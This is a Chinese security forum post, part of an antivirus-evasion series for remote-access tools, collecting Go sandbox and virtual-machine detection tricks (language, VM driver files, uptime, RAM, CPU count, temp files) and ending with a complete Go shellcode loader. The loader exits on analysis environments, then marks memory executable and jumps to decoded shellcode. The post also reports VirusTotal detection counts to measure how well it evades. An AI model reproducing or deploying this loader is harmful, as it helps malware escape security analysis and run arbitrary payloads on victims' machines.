安全矩阵

 找回密码
 立即注册
搜索
查看: 1352|回复: 0

远控免杀专题(75)-基于Go的沙箱检测

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-8-16 20:52:43 | 显示全部楼层 |阅读模式
远控免杀专题(75)-基于Go的沙箱检测
​免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav
本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/
0x00 引用说明本文内容参考节选自以下资料:
反虚拟机和沙箱检测:https://www.freebuf.com/articles/system/202717.html
Golang实现沙箱识别:https://blog.51cto.com/u_15127583/4364960
Bypass AV 思路:https://github.com/Ed1s0nZ/GoYiyi
0x01 关于反沙箱检测沙箱是用于隔离正在运行的程序的安全机制。它通常用于执行未经测试或不受信任的程序或代码,这个程序代码可能来自未经验证的或不受信任的第三方、供应商、用户或网站,而不会危害主机或操作系统。
在规避技术中,由于目前沙箱正成为判断恶意威胁的一种最快速和最简单的方式,因此反沙箱检测是比较重要的一类技术。
因为之前对这方面了解较少,所以这里搜集汇总了一些基于GO的沙箱检测方法。
0x02 基于Go的沙箱检测2.1 操作系统语言检测因为沙箱基本都是英文,所以根据首选操作系统语言是不是中文来判断是否为沙箱环境,简单粗暴一些。
而且依赖golang.org/x/sys/windows包,使用该包会增大exe程序0.3M左右。

  1. func check_language() {
  2. a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)
  3. if a[0] != "zh-CN" {
  4.   os.Exit(1)
  5. }
  6. }
复制代码


2.2 操作系统信息执行wmic命令,返回操作系统信息,根据关键字来判断,也是略简单粗暴。
  1. func check_virtual() (bool, error) { // 识别虚拟机
  2. model := ""
  3. var cmd *exec.Cmd
  4. cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
  5. stdout, err := cmd.Output()
  6. if err != nil {
  7.   return false, err
  8. }
  9. model = strings.ToLower(string(stdout))
  10. if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
  11.   strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
  12.   return true, nil //如果是虚拟机则返回true
  13. }
  14. return false, nil
  15. }
复制代码


2.3 检测系统文件根据虚拟机或沙箱可能存在的一些文件,来进行判断。
  1. func PathExists(path string) (bool, error) {
  2. _, err := os.Stat(path)
  3. if err == nil {
  4.   return true, nil
  5. }
  6. if os.IsNotExist(err) {
  7.   return false, nil
  8. }
  9. return false, err
  10. }
  11. func fack(path string) {
  12. b, _ := PathExists(path)
  13. if b {
  14.   os.Exit(1)
  15. }
  16. }
  17. func check_file() {
  18. fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
  19. fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
  20. fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
  21. fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
  22. fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
  23. fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
  24. fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
  25. fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
  26. fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
  27. fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
  28. fack("C:\\windows\\System32\\vboxdisp.dll")
  29. fack("C:\\windows\\System32\\vboxhook.dll")
  30. fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
  31. fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
  32. fack("C:\\windows\\System32\\vboxservice.exe")
  33. fack("C:\\windows\\System32\\vboxtray.exe")
  34. fack("C:\\windows\\System32\\VBoxControl.exe")
  35. }
复制代码


2.4 延迟运行检测在各类检测沙箱中,检测运行的时间往往是比较短的,因为其没有过多资源可以供程序长时间运行,所以我们可以延迟等待一会儿后再进行真实的操作。
  1. unc timeSleep() (int, error) {
  2. startTime := time.Now()
  3. time.Sleep(5 * time.Second)
  4. endTime := time.Now()
  5. sleepTime := endTime.Sub(startTime)
  6. if sleepTime >= time.Duration(5*time.Second) {
  7.   return 1, nil
  8. } else {
  9.   return 0, nil
  10. }
  11. }
复制代码

f
2.5 开机时间检测许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
  1. func bootTime() (int, error) {
  2. var kernel = syscall.NewLazyDLL("Kernel32.dll")
  3. GetTickCount := kernel.NewProc("GetTickCount")
  4. r, _, _ := GetTickCount.Call()
  5. if r == 0 {
  6.   return 0, nil
  7. }
  8. ms := time.Duration(r * 1000 * 1000)
  9. tm := time.Duration(30 * time.Minute)
  10. if ms < tm {
  11.   return 0, nil
  12. } else {
  13.   return 1, nil
  14. }
  15. }
复制代码


2.6 检测物理内存当今大多数pc具有4GB以上的RAM,我们可以检测RAM是否大于4GB来判断是否是真实的运行机器。
  1. func physicalMemory() (int, error) {
  2. var mod = syscall.NewLazyDLL("kernel32.dll")
  3. var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
  4. var mem uint64
  5. proc.Call(uintptr(unsafe.Pointer(&mem)))
  6. mem = mem / 1048576
  7. if mem < 4 {
  8.   return 0, nil
  9. }
  10. return 1, nil
  11. }
复制代码


2.7 检测CPU核心数大多数pc拥有4核心cpu,许多在线检测的虚拟机沙盘是2核心,我们可以通过核心数来判断是否为真实机器或检测用的虚拟沙箱。
  1. func numberOfCPU() (int, error) {
  2. a := runtime.NumCPU()
  3. if a < 4 {
  4.   return 0, nil
  5. } else {
  6.   return 1, nil
  7. }
  8. }
复制代码


2.8 检测临时文件数正常使用的系统,其中用户的临时文件夹中有一定数量的临时文件,可以通过判断临时文件夹内的文件数量来检测是否在沙箱中运行。
  1. func numberOfTempFiles() (int, error) {
  2. conn := os.Getenv("temp")
  3. var k int
  4. if conn == "" {
  5.   return 0, nil
  6. } else {
  7.   local_dir := conn
  8.   err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
  9.    if fi.IsDir() {
  10.     return nil
  11.    }
  12.    k++
  13.    return nil
  14.   })
  15.   if err != nil {
  16.    return 0, nil
  17.   }
  18. }
  19. if k < 30 {
  20.   return 0, nil
  21. }
  22. return 1, nil
  23. }
复制代码


0x03 沙箱检测对比我这使用相同的shellcode加载代码,一个使用沙箱检测,一个不使用沙箱检测。
编辑
常规编译命令,两个文件大小相差0.3M。
编辑
未使用沙箱检测技术的,VT查杀结果为:10/71
编辑

使用了沙箱检测技术的,VT查杀结果为:8/70
编辑
额,好像差别也不是很大。而且加了虚拟机检测后,自己调试也麻烦了。
0x04 完整代码在潮影在线免杀平台 http://bypass.tidesec.com 上,最初也有沙盒检测方面的功能模块,但后来发现效果一般,便去掉了。
本文涉及的所有代码和资料在这里都有:https://github.com/TideSec/GoBypassAV/
  1. package main

  2. import (
  3. "encoding/hex"
  4. "golang.org/x/sys/windows"
  5. "os"
  6. "os/exec"
  7. "path/filepath"
  8. "runtime"
  9. "strings"
  10. "syscall"
  11. "time"
  12. "unsafe"
  13. )

  14. // 检测语言,依赖windows数据包,编译后会增加0.6M大小
  15. func check_language() {
  16. a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言
  17. if a[0] != "zh-CN" {
  18.   os.Exit(1)
  19. }
  20. }

  21. func check_sandbox() {
  22. // 1. 延时运行
  23. timeSleep1, _ := timeSleep()
  24. // 2. 检测开机时间
  25. bootTime1, _ := bootTime()
  26. // 3. 检测物理内存
  27. physicalMemory1, _ := physicalMemory()
  28. // 4. 检测CPU核心数
  29. numberOfCPU1, _ := numberOfCPU()
  30. // 5. 检测临时文件数
  31. numberOfTempFiles1, _ := numberOfTempFiles()
  32. level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1 // 有五个等级,等级越趋向于5,越像真机
  33. //fmt.Println("level:", level)
  34. if level < 4 {
  35.   os.Exit(1)
  36. }
  37. }

  38. // 1. 延时运行
  39. func timeSleep() (int, error) {
  40. startTime := time.Now()
  41. time.Sleep(5 * time.Second)
  42. endTime := time.Now()
  43. sleepTime := endTime.Sub(startTime)
  44. if sleepTime >= time.Duration(5*time.Second) {
  45.   //fmt.Println("睡眠时间为:", sleepTime)
  46.   return 1, nil
  47. } else {
  48.   return 0, nil
  49. }
  50. }

  51. // 2. 检测开机时间
  52. // 许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
  53. func bootTime() (int, error) {
  54. var kernel = syscall.NewLazyDLL("Kernel32.dll")
  55. GetTickCount := kernel.NewProc("GetTickCount")
  56. r, _, _ := GetTickCount.Call()
  57. if r == 0 {
  58.   return 0, nil
  59. }
  60. ms := time.Duration(r * 1000 * 1000)
  61. tm := time.Duration(30 * time.Minute)
  62. //fmt.Println(ms,tm)
  63. if ms < tm {
  64.   return 0, nil
  65. } else {
  66.   return 1, nil
  67. }

  68. }
  69. // 3、物理内存大小
  70. func physicalMemory() (int, error) {
  71. var mod = syscall.NewLazyDLL("kernel32.dll")
  72. var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
  73. var mem uint64
  74. proc.Call(uintptr(unsafe.Pointer(&mem)))
  75. mem = mem / 1048576
  76. //fmt.Printf("物理内存为%dG\n", mem)
  77. if mem < 4 {
  78.   return 0, nil // 小于4GB返回0
  79. }
  80. return 1, nil // 大于4GB返回1
  81. }

  82. func numberOfCPU() (int, error) {
  83. a := runtime.NumCPU()
  84. //fmt.Println("CPU核心数为:", a)
  85. if a < 4 {
  86.   return 0, nil // 小于4核心数,返回0
  87. } else {
  88.   return 1, nil // 大于4核心数,返回1
  89. }
  90. }
  91. func numberOfTempFiles() (int, error) {
  92. conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
  93. var k int
  94. if conn == "" {
  95.   //fmt.Println("未找到temp文件夹,或temp文件夹不存在")
  96.   return 0, nil
  97. } else {
  98.   local_dir := conn
  99.   err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
  100.    if fi.IsDir() {
  101.     return nil
  102.    }
  103.    k++
  104.    // fmt.Println("filename:", filename)  // 输出文件名字
  105.    return nil
  106.   })
  107.   //fmt.Println("Temp总共文件数量:", k)
  108.   if err != nil {
  109.    // fmt.Println("路径获取错误")
  110.    return 0, nil
  111.   }
  112. }
  113. if k < 30 {
  114.   return 0, nil
  115. }
  116. return 1, nil
  117. }

  118. func check_virtual() (bool, error) { // 识别虚拟机
  119. model := ""
  120. var cmd *exec.Cmd
  121. cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
  122. stdout, err := cmd.Output()
  123. if err != nil {
  124.   return false, err
  125. }
  126. model = strings.ToLower(string(stdout))
  127. if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
  128.   strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
  129.   return true, nil //如果是虚拟机则返回true
  130. }
  131. return false, nil
  132. }
  133. func PathExists(path string) (bool, error) {
  134. _, err := os.Stat(path)
  135. if err == nil {
  136.   return true, nil
  137. }
  138. if os.IsNotExist(err) {
  139.   return false, nil
  140. }
  141. return false, err
  142. }
  143. func fack(path string) {
  144. b, _ := PathExists(path)
  145. if b {
  146.   os.Exit(1)
  147. }
  148. }
  149. func check_file() {
  150. fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
  151. fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
  152. fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
  153. fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
  154. fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
  155. fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
  156. fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
  157. fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
  158. fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
  159. fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
  160. fack("C:\\windows\\System32\\vboxdisp.dll")
  161. fack("C:\\windows\\System32\\vboxhook.dll")
  162. fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
  163. fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
  164. fack("C:\\windows\\System32\\vboxservice.exe")
  165. fack("C:\\windows\\System32\\vboxtray.exe")
  166. fack("C:\\windows\\System32\\VBoxControl.exe")
  167. }

  168. var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

  169. func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool {
  170. ret, _, _ := VirtualAlloc.Call(
  171.   uintptr(a),
  172.   uintptr(b),
  173.   uintptr(c),
  174.   uintptr(d))
  175. return ret > 0
  176. }

  177. func Run(sc []byte) {
  178. fly := func() {}
  179. var xx uint32
  180. if !aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) {
  181. }
  182. **(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
  183. var yy uint32
  184. aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy))
  185. fly()
  186. }

  187. func ScFromHex(scHex string) []byte{
  188. var charcode []byte
  189. charcode, _ = hex.DecodeString(string(scHex))
  190. return charcode
  191. }
  192. func main() {
  193. check_language()
  194. check_file()
  195. check,_ := check_virtual()
  196. if check == true{
  197.   os.Exit(1)
  198. }
  199. check_sandbox()
  200. sccode := ScFromHex("shellcode")
  201. Run(sccode)
  202. }
复制代码


0x05 参考资料Go语言进行简单的反虚拟机检测:https://www.nctry.com/2243.html
反虚拟机和沙箱检测:https://www.freebuf.com/articles/system/202717.html
Golang实现沙箱识别:https://blog.51cto.com/u_15127583/4364960
各种go-shellcode:https://github.com/Ne0nd0g/go-shellcode
图片 图像 小部件


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 02:37 , Processed in 0.013950 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表